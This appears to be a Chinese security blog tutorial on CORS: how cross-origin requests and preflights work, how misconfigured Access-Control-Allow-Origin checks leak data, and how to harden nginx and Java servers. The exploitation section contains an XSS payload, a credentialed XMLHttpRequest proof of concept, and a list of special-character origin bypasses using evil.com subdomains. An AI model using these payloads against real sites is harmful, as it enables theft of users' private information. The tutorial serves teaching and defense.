注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言介绍

什么是CORS?为什么要使用CORS机制?
答:CORS是一个W3C标准机制全称是”跨域资源共享”(Cross-origin resource sharing)

  • 它使用额外的 HTTP 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。
  • 它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制

那什么是同源?
答:如果看不懂下面英文解释的您可以这样理解,不同协议不同端口不同域名满足其中一个则是不同源的;

Two websites are said to have same origin if both have following in common:
Scheme (http, https)
Host name (google.com, facebook.com, securelayer7.net)
Port number (80, 4567, 7777)
So, sites http://example.com and http://example.com/settings have same origin.
But https://example.com:4657 and http://example.com:8080/settings have different origins

同源策略(same-origin policy)限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。


使用CORS好处:

  • 以降低跨域 HTTP 请求所带来的风险。

必要条件:

  • CORS需要浏览器和服务器同时支持,IE浏览器不能低于IE10。


0x01 CORS 请求原理

浏览器对于CORS两大请求处理是不一样的:

  • 1.简单请求(simple request)
  • 2.非简单请求(not-so-simple request)

以简单请求为例,凡是不同时满足下面面两个条件,就属于非简单请求。

(1) 请求方法是以下三种方法之一:
HEAD
GET
POST
(2) HTTP的请求头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

CORS 6个基本字段:

  • Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,可利用XMLHttpRequest对象.getResponseHeader(‘FooBar’)获取设置的字段;
    Access-Control-Allow-Origin
    Access-Control-Allow-Credentials
    Access-Control-Allow-Methods
    Access-Control-Allow-Headers
    Access-Control-Max-Age

例子:浏览器发现这次跨源AJAX请求是一般请求,就自动在头信息之中添加一个Origin字段。

#Origin字段用来说明本次请求来自哪个源(协议 + 域名 + 端口),服务器根据这个值,决定是否同意这次请求。
GET /cors HTTP/1.1
Origin: http://api.bob.com #判断是否存在CORS安全问题
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0

如果在B站请求A站,浏览器是不允许跨域获取数据的,如果在A站返回的数据加上一个Access-Control-Allow-Origin:* 的HTTP的头这时所有网站都能访问(但是有的浏览器默认会进行过滤))。
但是这并不是我们想要的,只需把 Access-Control-Allow-Origin: api.bob.com 修改成需要给权限的网站即可。


simple request
(1)简单请求直接发送CORS请求重要就是Origin头与返回的Access-Control-Allow-Origin消息头

##请求
GET /cors HTTP/1.1
Host: api.alice.com
Origin: http://api.bob.com #本次请求来自哪个源(协议 + 域名 + 端口),服务器根据此值进行判断
Connection: keep-alive
User-Agent: Mozilla/5.0...

##响应
Access-Control-Allow-Origin: http://api.bob.com #请求时Origin字段的值或者是一个*(表示接受任意域名的请求)
Access-Control-Allow-Credentials: true #布尔值,表示是否允许发送Cookie(默认是否的)|浏览器不同则不同(有人说第一次请求都会发生),其次看服务器是否接收;
Access-Control-Expose-Headers: FooBar #CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段,为了能拿到字段就要设置
Content-Type: text/html; charset=utf-8

withCredentials 属性的作用:
描述:CORS请求默认不发送Cookie和HTTP认证信息,如果要把Cookie发到服务器,一方面要服务器同意,另一方面是在编写AJAX请求的时候加上发送cookie的头;

xhr.withCredentials = true;  //浏览器不同可能在未设置为true默认会上传cookie

同时Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下Cookie。


not-so-simple request
描述:非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUT或DELETE或者Content-Type字段的类型是application/json;

比如JAVASCRIPT测试ajax:

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value'); //自定义头信息
xhr.send();

非简单请求的CORS请求,会在正式通信之前增加一次HTTP查询请求,称为"预检"请求(preflight);如果浏览器否定了”预检”请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段,可以采用XMLHttpRequest对象的onerror回调函数捕获

# 预检请求  
OPTIONS /cors HTTP/1.1 #"预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的
Origin: http://api.bob.com
Access-Control-Request-Method: PUT #列出浏览器的CORS请求会用到哪些HTTP方法
Access-Control-Request-Headers: X-Custom-Header #逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段
Host: api.alice.com
Connection: keep-alive
User-Agent: Mozilla/5.0...

#预检请求的回应
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com #关键点,该字段也可以设为星号,表示同意任意跨源请求。
Access-Control-Allow-Methods: GET, POST, PUT #关键点,它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
Access-Control-Allow-Headers: X-Custom-Header #关键点,它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
Access-Control-Max-Age: 1728000 #关键点,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒)
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

下面是”预检”请求之后浏览器的正常CORS请求,下面头信息中Access-Control-Allow-Origin字段是每次回应都必定包含的。

#浏览器的正常请求和回应
PUT /cors HTTP/1.1
Origin: http://api.bob.com #默认是浏览器自动添加的
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

#服务器正常的回应。
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

问:与JSONP的比较?

  • 1.CORS与JSONP的使用目的相同但是比JSONP更强大。
  • 2.JSONP只支持GET请求,CORS支持所有类型的HTTP请求。
  • 3.JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

0x02 CORS 安全问题

描述:CORS漏洞( Vulnerability)存在的原因主要在于Access-Control-Allow-Origin参数配置失误未严格验证,允许非同域站点访问本站资源从而造成跨域问题。

问题1:如果Access-Control-Allow-Origin可控且Access-Control-Allow-Credentials为true,那么就可以利用一个可控的网站来窃取一个人的个人隐私信息

  • (1)返回报文头部的Access-Control-Allow-Origin根据请求报文Origin ,Ps:只要页面产生跨域请求那浏览器就会在请求报文中自动;
  • (2)返回报文头部的Access-Control-Allow-Credentials为true,这表明Cookie可以包含在请求中,一起发给服务器;


问题2:CORS的规范中还提到了“NULL”源,触发这个源是为了网页跳转或者是来自本地HTML文件。
目标应用可能会接收“null”源,并且这个可能被测试者(或者攻击者)利用,任何网站很容易使用沙盒iframe来获取”null“源;

origin:null


1)如何监测CORS漏洞
答:可以采用BurpSuite进行测试CORS的origin返回响应头进行判断

  • (1)设置为启用该请求头:Proxy-Options-Match and Replace
  • (2)设置过滤请求:Proxy-HTTP history - Filter - Filter by seach term

WeiyiGeek.

对于请求页面响应如下则确认存在该漏洞:

Origin: foot.cors.org

WeiyiGeek.
WeiyiGeek.


补充知识点:
1.CORS漏洞与CSRF漏洞的共同点与不同点?

  • 共同点:都要借助第三方网站,都要借助ajax的异步过程,一般都需要用户登陆。
  • 不同点:利用CORS漏洞读取到受害者的敏感信息,可以利用csrf漏洞可以替受害者完成诸如转账等敏感操作,一般有CORS漏洞的地方都有csrf漏洞;
    WeiyiGeek.

2.如果服务器配置下面响应头不能证明漏洞存在,因为浏览器会自动拦截掉非认证域的请求。

Access-Control-Allow-Origin: *  
Access-Control-Allow-Credentials: true


0x03 CORS 利用

描述:CORS漏洞常常与低风险的反射类型的XSS漏洞联合使用(组合拳打法),来增加其鸡肋漏洞的危害性使之变废为宝;

CORS 常见漏洞点:

  • 1.互联网厂商的api接口;
  • 2.聊天的程序的api接口;
  • 3.app的api <不过有一些请求需要带有一些额外的请求头,利用起来比较困难>;
  • 4.区块链厂商;

案例1:

  • 攻击者拥有一个包含用于跨域交互的恶意脚本的网站:http://127.0.0.1:4567,受害者即内部网网站的管理员访问攻击者的网站访问后将会触发攻击载荷。
    WeiyiGeek.

  • 一旦加载了web页面,就会调用“makeRequest”方法。该方法发起一个跨域请求来捕获该秘密,发送到位于 http://127.0.0.1:80/bwapp/secret-cors-1.php的脆弱内部网应用程序。进入翻译页面


案例2:CORS 利用过程采用一个案例演示
描述:通过子域名的XSS结合CORS利用

WeiyiGeek.

重点:但是有时候需要注意到referer源 头对CORS的利用影响;
WeiyiGeek.


案例3:利用特殊符号和浏览器的结合去绕过子域名的检查
描述:这个API端点返回用户的私有信息比如全名、电子邮件地址要滥用这种错误配置,以便我们可以执行攻击,比如泄漏用户的私有信息我们需要声明一个废弃的子域(子域接管),或者在现有的子域中找到一个XSS。

这个漏洞的利用条件需要一个XSS或者子域名接管
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

关键点:主要是需要使用了FUZZ去尝试通过特殊字符来绕过验证了您的origin来源的网站,也就是说我们可以通过访问*.target.com.特殊字符.youdomain.com来绕过正则

#特殊字符
,
&
'
"
;
!
$
^
*
(
)
+
=
`
~
-
_
=
|
{
}
%

#最终如下域名可以绕过
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com

用safari访问一下看支不支持之后注册这个子域名然后就可以利用了 https://zzzz.ubnt.com=.evil.com/cors-poc


0x04 安全防御

1)不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。
当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源,还要检查是否为null
2)避免使用“Access-Control-Allow-Credentials: true”
3)减少Access-Control-Allow-Methods所允许的方法

问:怎么才能允许多域名跨域访问呢?
由于origin-list-or-null在产品实际中多用来做限制,不是一个空格分隔的origin的列表,而只能是单个origin或字符串”null”。
WeiyiGeek.

解决办法1 结合CORS on Nginx写成Nginx配置片段enable-cors.conf,使用的时候,只需如下这样:

location / {
... other config ...
include enable-cors.conf;
}

完整的enable-cors.conf配置片段如下:(能解决很大一部分企业安全问题哟)

#
# Wide-open CORS config for nginx
#

# allow origin list
set $ACAO 'http://www.test.com http://user.test.com';

# set single origin
if ($http_origin ~* ^https?://(www|user)\.test\.com$) {
set $ACAO $http_origin;
}

if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
#
# Om nom nom cookies
#
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
#
# Custom headers and headers various browsers *should* be OK with but aren't
#
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
#
# Tell client that this pre-flight info is valid for 20 days
#
add_header 'Access-Control-Max-Age' 1728000;
add_header 'Content-Type' 'text/plain charset=UTF-8';
add_header 'Content-Length' 0;
return 204;
}
if ($request_method = 'POST') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}
if ($request_method = 'GET') {
add_header 'Access-Control-Allow-Origin' '$ACAO';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}


解决办法2: 设置多个可跨域域名数组通过request的getHeader(“Origin”)获取origin 请求域名属于可跨域域名数组,将所取的orgin值设给Access-Control-Allow-Origin;

//跨域域名设置
public static final String[] ALLOW_DOMAIN = { "http://localhost:8000","http://192.168.0.100" };

HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
String originHeader = req.getHeader("Origin");
if (Arrays.asList(Constants.ALLOW_DOMAIN).contains(originHeader))
{
res.setHeader("Access-Control-Allow-Origin", originHeader);
res.setHeader("Allow", "*");
res.setHeader("Access-Control-Allow-Methods", "POST, GET, PUT, DELETE, OPTIONS");
res.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, Referer, User-Agent, Authorization, X-Auth-Token");
res.setHeader("Access-Control-Max-Age", "3600");
// 接收跨域的cookie
res.setHeader("Access-Control-Allow-Credentials", "true");
if ("IE".equals(req.getParameter("type")))
{
((HttpServletResponse) response).setHeader( "XDomainRequestAllowed", "1");
}

if (req.getMethod().toLowerCase().equals("options"))
{
res.setHeader("Content-type", "text/html");
res.getWriter().write("options OK");
return;
}
}


0x05 补充附录

总结

  • 反射XSS和CORS配合成功获取到用户敏感数据,虽然同样需要用户点击才能触发;


附录

  • 参考网址: http://evil.com
  • 在线测试网站:http://test-cors.org
  • CORS漏洞开源工具 CrossSiteContentHijacking 验证
  • 下表包含特殊字符列表,其中包含每个测试浏览器的当前“兼容性”(注意:只包含至少一个浏览器允许的特殊字符)。
    WeiyiGeek.